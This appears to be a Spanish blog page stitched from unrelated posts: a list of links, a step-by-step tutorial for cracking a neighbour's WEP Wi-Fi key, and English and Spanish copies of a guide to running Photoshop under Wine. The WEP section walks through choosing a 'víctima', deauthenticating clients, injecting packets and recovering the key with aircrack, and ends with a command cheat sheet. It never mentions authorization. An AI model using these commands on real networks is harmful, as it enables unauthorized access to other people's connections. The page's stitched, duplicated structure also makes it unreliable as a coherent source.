De esta manera obtendrás un archivo html, cuyo código fuente podrás pastear en los comentarios de este post.
Ahí va mi primera sobrada de links, que los disfruteis:

Ovnis, sombreros y nubes: Historia de OVNIS.

The Only CSS Layout you need: Buen template CSS.

VHM-Design: Impresionantes Ilustraciones

What the Font?: Identifica fuentes que ves en imágenes.

21 ways to increase your traffic: Por si no apareces en Digg.

Hacer raíces cúbicas de memoria: Para impresionar a tu profe.

Web 2.0 logo generator: Beta!

Tutoriales de Photoshop: A montones.

F-Zero X OST: Una de las mejores BSO de videojuegos.

XGL: The Future is NOW!

ESDLA: Un par de Torres: Resumen accesible.

7 Ways to Speed Up Your Linux Desktop: O cómo instalar Fluxbox.

Dance Dance!: Modo pro On.

Kottke: Weblog de diseño.

10 lenguajes que aprender: Hoy por hoy.

Linux’s Games: A jugar!

Strong Man: Squish your Head.

Aviones Paralelos: Ilusión óptica (d=200m)

Powerdraw: No subestimes el Paint.

El peor Hacker del mundo: Transcripción IRC

Lector de Mp3 flash: Ideal para web-podcasting.

BumpKey: Como abrir cerraduras.

Dominó Humano: Genial spot.

OnlineClock: Usa tu PC como despertador.

E=mc2: Explicada.

Dick Hoyt: Historia de padre e hijo.

ScrapeTorrent: Todos para un torrent, y un torrent para todos.

Flash+XHTML: como insertar Flash en XHTML correctamente.

Cracking WEP: Con Linux.

Miniature Earth: El mundo reducido a 100 personas.

Lynucs: Un screen-show.

DeveloperList: Montones de resources para programadores.

P vs NP: ¿Nunca lo entendiste?

Enigmas: Para darle al coco.

LovePixel: Enorme ciudad pixelada.

50 carreras: Y dónde estudiarlas.

Babe VS Babe: que gane la mejor.

Kernel Map: Diagrama explicativo de la estructura interna del kernel.

CSS Gallery: Impresionante galería CSS.

Linux Commands: Hoja de referencia.

El arte de los gradientes: En Photoshop.

Tiannamen Massacre: Never forget.

Get a beautiful Conky: Que monitoree su PC.

Toronto Time Lapse: Una de las obras maestras de Sam J.

HackingDefined: Vídeos instructivos.

El gañan!: En la CP2006.

Los 10 sitios más raros del mundo: A los que la gente va.

Algoritmos: Libro gratuito.

SodaPlay: Crea tus pequeños robots.

Resources Web: Y más…

Armas de la segunda guerra mundial: Incluídas todas las del DoD.

Blog de Skatox:: Linuxero.

HD Media: High Definition.

Mia Kirshner: Belleza pura.

XGL HowTo: 1: 1.

XGL HowTo: 2: 2.

XGL HowTo: 3: 3.

Wallpapers: De alta resolución.

Penetration Test: Guía del Hacker.

Linux Timeline: Historia del SO.

En cuanto al hardware necesario por nuestra parte, necesitaremos un adaptador inalámbrico con soporte nativo en Linux (en este tutorial trabajaremos con el chipset Atheros), además de que funcione en modo monitor. Para evitarte problemas, intenta comprar una de estas tarjetas.

Necesitaremos unos cuantos paquetes y utilerías, fácilmente instalables si usas Debian o derivados mediante apt-get: apt-get install build-essential aircrack kismet airsnort linux-source linux-headers sharutils.

Para asegurarte de que dispones de todos los paquetes, añade o sustituye (aunque sea de forma temporal) las líneas que tengas en el contenido del archivo /etc/apt/sources.list

## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse

## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free

Antes de empezar, necesitaremos parchear los drivers Atheros de nuestro adaptador inalámbrico, para que el mismo funcione en modo monitor y sea compatible con la totalidad de las aplicaciones de auditoría que utilizaremos más adelante:

sudo -i

cd /usr/src
wget http://syserr.com/stuff/madwifi-cvs-20051025.tar.gz
wget http://syserr.com/stuff/madwifi-cvs-20051025.patch

ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;

tar zxvf madwifi-cvs-20051025.tar.gz
cd madwifi
patch -Np1 -i ../madwifi-cvs-20051025.patch
make && make install

modprobe ath_pci

Empezamos a crackear

Para empezar, tenemos que seleccionar nuestra víctima. Para ello, utilizaremos una de las utilerías que nos descargamos previamente, llamada kismet. Cabe decir que antes de arrancar dicho programa, tenemos que editar el archivo de configuración /etc/kismet/kismet.conf, cambiando la línea source= por source=madwifi_ag,ath0,madwifi. Una vez hecho el cambio, debemos entrar en modo monitor (ejecutando airmon start ath0), arrancar kismet y seleccionar nuestra víctima en la lista de redes alcanzables que se nos muestra. Una vez elegida, debemos apuntar el essid (nombre de la conexión) y el channel # (canal en el que transmite).

Lo siguiente es empezar a capturar tráfico con airodump, en especial unos paquetes llamados IV's, que, en grandes cantidades (de 100.000 a 1.000.000) nos permitirán extraer la clave WEP. La sintaxis para arrancar airodump es la siguiente: airodump ath0 filename channel# 1, donde filename es el archivo donde se guardará el tráfico capturado y channel# el canal anteriormente anotado. Dejamos airodump abierto.

Ya en una nueva consola, el siguiente paso es asociar nuestra interfaz inalámbrica con la conexión en la cual estamos capturando tráfico, y de esta forma poder inyectar paquetes más tarde, haciendo al mismo tiempo una subida de ritmo en la adquisición de IV's. El programa que nos permitirá la operación en cuestión se llama aireplay, y se ejecuta con la siguiente sintaxis: aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0, donde ESSID es el nombre de la red inalámbrica víctima y BSSID la dirección MAC del router de destino (la encontraremos a la izquierda de la pantalla del airodump, de la forma XX:XX:XX:XX:XX). Si todo ha ido bien, recibiremos una notificación de que todo ha ido bien al ejecutar aireplay. Si no es así, el comando iwconfig ath0 rate 1M puede ayudar. Si el infortunio continua, significa que tienes que estar más cerca de la víctima.

Empezamos a inyectar paquetes: aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0 (sustituir BSSID). El comando aireplay -0 ath0 -a BSSID ath0 puede ayudar a aligerar las cosas. Recuéstate en la silla y espera a que la columna de data # del airodump alcance la cantidad deseada (100.000 (para 64bits) - 1.000.000 (para 128bits), dependiendo de la fuerza de la clave WEP). Una vez llegado el momento, presiona Ctrl + C en ambas consolas para terminar los procesos.

Por último, extraemos la clave WEP de nuestra víctima ejecutando: aircrack filename.ivs, donde filename.ivs es el archivo anteriormente declarado donde guardamos todo el tráfico capturado por airodump.

Síntesis y resumen del ataque (CheatSheet)

Consola 1:
su
airmon start ath0
kismet (anotamos ESSID y Channel#)
airodump ath0 filename channel# 1

Consola 2:
aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0
aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0
aircrack filename.ivs

Consola Opcional:
Opcional: iwconfig ath0 rate 1M
Opcional: aireplay -0 ath0 -a BSSID ath0

Disclaimer:

Artículo basado en TurkeyFarm » Cracking WEP with Ubuntu (Actually Works).

First of all, we need to clean our work area: if you are a Debian user, one apt-get remove --purge wine and apt-get install wine should be enough for having a clean install of the newest version of Wine, a Windows emulator for Linux platforms. If you are not a Debian user, you must get Wine from the official website, and install it through the command ./configure && make && sudo make install, in the directory made when uncompressing the downloaded package.

Now we are going to do some steps in Windows. We need to install Photoshop normally. Once installed, we need to save the Windows registry key which identifies Photoshop and has its information so we can implement it on Wine. Execute regedit.exe and place in the key

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}

In the tree view, right click on it and click on “export”. After doing this, you should get a .reg file which contents must be used in Linux.

Let’s go back to Linux and copy the whole folder C:\Program Files\Adobe\ to the Linux folder: ~/.wine/drive_c/Program Files/. Now we have to add the Windows registry information to Wine. For doing that, edit the .reg file, delete the first line, and change this:

[HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]

Into this:

[SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]

When the change is done, copy all the new content of the .reg file at the end of the Linux file ~/.wine/system.reg.

Finally, we must solve some compatibility problems running winecfg, and adding photoshop.exe with Windows 2000 compatibility mode selected in the bottom combo menu.

Ready! Now you can run Photoshop in Linux executing ~/.wine/drive_c/Program Files/Adobe/Photoshop CS/Photoshop.exe.

Para empezar, limpiemos el escenario de trabajo: si eres usuario de Debian con un apt-get remove --purge wine y un apt-get install wine ya tendrás instalado Wine, el emulador de Windows para Linux, que nos servirá para correr las aplicaciones que deseemos, en este caso, el Photoshop. En caso contrario, tendrás que bajarte el paquete de la página oficial, descomprimirlo, e instalarlo ejecutando en el directorio creado ./configure && make && sudo make install.

Ahora toca irnos a Windows y, una vez allí, instalar el Photoshop normalmente. Una vez instalado, debemos de salvar la clave del registro de Windows que identifica al Photoshop para implementarla en Wine. Ejecuta regedit.exe y sitúate en la clave:

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}

En la vista de árbol, bastará un click derecho sobre ella y “exportar” para salvarla en un archivo .reg. Volvamos a Linux.

En Linux hemos de hacer dos cosas. Primero, accedemos a la partición de Windows, y copiamos la carpeta C:\Archivos de Programa\Adobe\ en ~/.wine/drive_c/Program Files/.

Para implementar los datos del registro de Windows en Linux, tenemos que editar el archivo .reg obtenido, eliminando la primera línea y cambiando esta

[HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]

por

[SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{EFB21DE7-8C19-4A88-BB28-A766E16493BC}]

Una vez hecho el cambio, pegamos todo el contenido del nuevo archivo .reg al final del archivo ~/.wine/system.reg.

Y finalmente, para solucionar problemas de compatibilidad, ejecutamos winecfg, agregamos el photoshop.exe y seleccionamos el modo de compatibilidad para Windows 2000.

¡Listo! Ya puedes correr Photoshop en Linux ejecutando ~/.wine/drive_c/Program Files/Adobe/Photoshop CS/Photoshop.exe.